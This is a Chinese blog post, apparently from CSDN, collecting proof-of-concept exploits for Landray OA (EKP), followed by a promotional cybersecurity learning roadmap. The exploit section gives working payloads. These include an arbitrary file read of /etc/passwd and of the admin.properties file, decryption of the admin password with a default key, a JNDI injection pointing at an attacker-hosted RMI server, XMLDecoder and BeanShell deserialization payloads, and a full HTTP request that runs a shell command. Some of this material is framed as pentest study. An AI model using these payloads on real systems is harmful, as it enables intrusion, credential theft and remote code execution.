蓝凌(Landray)OA漏洞常见RCE

目录
  • 前言
  • 任意文件读取漏洞
  • * 漏洞描述
    
    • 漏洞复现
  • SSRF+JNDI远程命令执行
  • * 漏洞描述
    
    • 漏洞复现
  • sysSearchMain.do XMLdecode反序列化(任意文件写入)
  • * 漏洞描述
    
    • 漏洞复现
  • 公式编辑器RCE
  • * 漏洞描述
    
    • 漏洞复现

前言

背景是由于一次和友商共同的渗透项目测试中,其中一个系统使用了蓝凌OA,但当时由于一些原因觉得版本挺新应该是打了补丁的故在测试中没有仔细遍历复现蓝凌OA的历史常见RCE漏洞,后续对比了友商的报告发现别人测的两个RCE,故统一做个poc积累学习,混个眼熟防止下次渗透或攻防时漏掉。

任意文件读取漏洞

漏洞描述

蓝凌OA(EKP)存在任意文件读取漏洞可能导致敏感信息泄露。

漏洞复现

漏洞路径:/sys/ui/extend/varkind/custom.jsp,访问后抓包,在body中加入payload:var={“body”:{“file”:“file:///etc/passwd”}},发送post请求。
在这里插入图片描述

SSRF+JNDI远程命令执行

漏洞描述

配合上述任意文件读取漏洞获取敏感信息,读取配置文件得到密钥后访问 admin.do 可利用 JNDI远程命令执行获取权限。

漏洞复现

利用任意文件读取/WEB-INF/KmssConfig/admin.properties配置文件
![在这里插入图片描述](https://img-
blog.csdnimg.cn/61efdfbcd97a47df8e038abc810bbd21.png)由此获得加密的password,据说蓝凌OA默认为DES加密,且有个默认密钥为
kmssAdminKey,可以拿着password在在线网站上尝试解密(返回的password字符串去掉末尾的/r在进行解密)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/dfd181c7bc2c474088b4fda77d2cec1b.png)用解密出来的明文密码尝试登录后台地址:admin.do,此地址也可能由爆破得到:
![在这里插入图片描述](https://img-
blog.csdnimg.cn/316189ad46684a4596f3dbc7335f34ce.png)![在这里插入图片描述](https://img-
blog.csdnimg.cn/6535bb4a834a4c779fcb1bfd30787415.png)burp抓包,body添加payload:method=testDbConn&datasource=rmi://vpsip:port/exp,exp构造同常见的如fastjson所用:
![在这里插入图片描述](https://img-
blog.csdnimg.cn/5e28d88b27d04fbebd5c7bdd5fb98bc7.png)写入想执行的命令并编译成恶意类(编译兼容java1.7)后放到web服务器上。再使用marshalsec工具(https://github.com/mbechler/marshalsec)构建一个JNDI服务。
![在这里插入图片描述](https://img-
blog.csdnimg.cn/1ee33b63ab0a4af7beb5dbf8db6a91ac.png)发送payload:
在这里插入图片描述

sysSearchMain.do XMLdecode反序列化(任意文件写入)

漏洞描述

sysSearchMain.do文件,存在任意文件写入漏洞,攻击者获取后台权限后可通过漏洞写入任意文件,也可以通过 custom.jsp
文件未授权写入恶意文件,导致RCE。

漏洞复现

若通过custom.jsp写入,payload为:var={“body”:{“file”:“/sys/search/sys_search_main/sysSearchMain.do?method=editParam”}}&fdParemNames=11&fdParameters=[shellcode]
shellcode:<java> <void class="com.sun.org.apache.bcel.internal.util.ClassLoader"> <void method="loadClass"> <string>$$BCEL$$......</string> <void method="newInstance"></void> </void> </void> </java> //使用了BCEL利用链(BCEL包下的ClassLoader类)
同上一漏洞一样编译恶意exp类//不要使用java8u251以后版本
![在这里插入图片描述](https://img-
blog.csdnimg.cn/b05b6aad25a94c7eb18c9b56da84ff00.png)使用BCEL编码工具:https://github.com/Xd- tl/BCELCode
插入发送:
![在这里插入图片描述](https://img-
blog.csdnimg.cn/4e83f7c289b74b4eac0a93d677614669.png)漏洞成因对FdParameters参数过滤不严,传给ojectXmlDecoder造成反序列化。
tips:如果OA存在bsh可直接执行命令,可直接回显或打入内存马,或者后台洞情况,web管理员权限添加反序列化白名单:如bsh.Intepreter(BeanShell利用链中bash.Interpreter的eval方法)
![在这里插入图片描述](https://img-
blog.csdnimg.cn/907a25454d4f42c8823f67cbbd105875.png)payload:var={"body":{"file":"/sys/search/sys_search_main/sysSearchMain.do?method=editParam"}}&fdParemNames=11&fdParameters=<java><void class="bsh.Interpreter"><void method="eval"><string>Runtime.getRuntime().exec("calc");</string></void></void></java>
回显payload:
![在这里插入图片描述](https://img-
blog.csdnimg.cn/fc90f018c2144f84a9c572a066a82bd1.png)//太菜了不懂回显payload细节

公式编辑器RCE

漏洞描述

dataxml.jsp 、treexml.tmpl等代码执行

漏洞复现

漏洞地址:/data/sys-common/treexml.tmpl、 /sys/common/dataxml.jsp、 /sys/common/treexml.jsp、 /sys/common/treejson.jsp、 /sys/common/datajson.jsp、 /data/sys-common/dataxml、 /data/sys-common/treexml、 /data/sys-common/datajson
以上地址都可以尝试一下
payload如:

POST /sys/ui/extend/varkind/custom.jsp  HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 176

var={"body":{"file":"/data/sys-common/datajson"}}&s_bean=sysFormulaValidateByJS&script=new java.lang.ProcessBuilder['(java.lang.String[])'](['sh','-c','touch /tmp/1']).start();

s_bean或为RuleFormulaValidate对应treexml.tmplsysFormulaValidateByJS
具体原理和利用区别可查看https://unsafe.sh/go-123305.html
最后再放一个OA集合利用的工具:https://github.com/LittleBear4/OA-EXPTOOL
在这里插入图片描述

学习网络安全技术的方法无非三种:

第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。

第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

第三种就是去找培训。

image.png

接下来,我会教你零基础入门快速入门上手网络安全。

网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。

第一阶段:基础准备 4周~6周

这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇
image.png

第二阶段:web渗透

学习基础 时间:1周 ~ 2周:

① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。
③ 学会提问的艺术,如果遇到不懂得要善于提问。
image.png

配置渗透环境 时间:3周 ~ 4周:

① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。
② 下载这些工具无后门版本并且安装到计算机上。
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。

渗透实战操作 时间:约6周:

① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。
⑦ 了解一句话木马,并尝试编写过狗一句话。
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权
image.png
以上就是入门阶段

第三阶段:进阶

已经入门并且找到工作之后又该怎么进阶?详情看下图
image.png

给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

  • 28
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值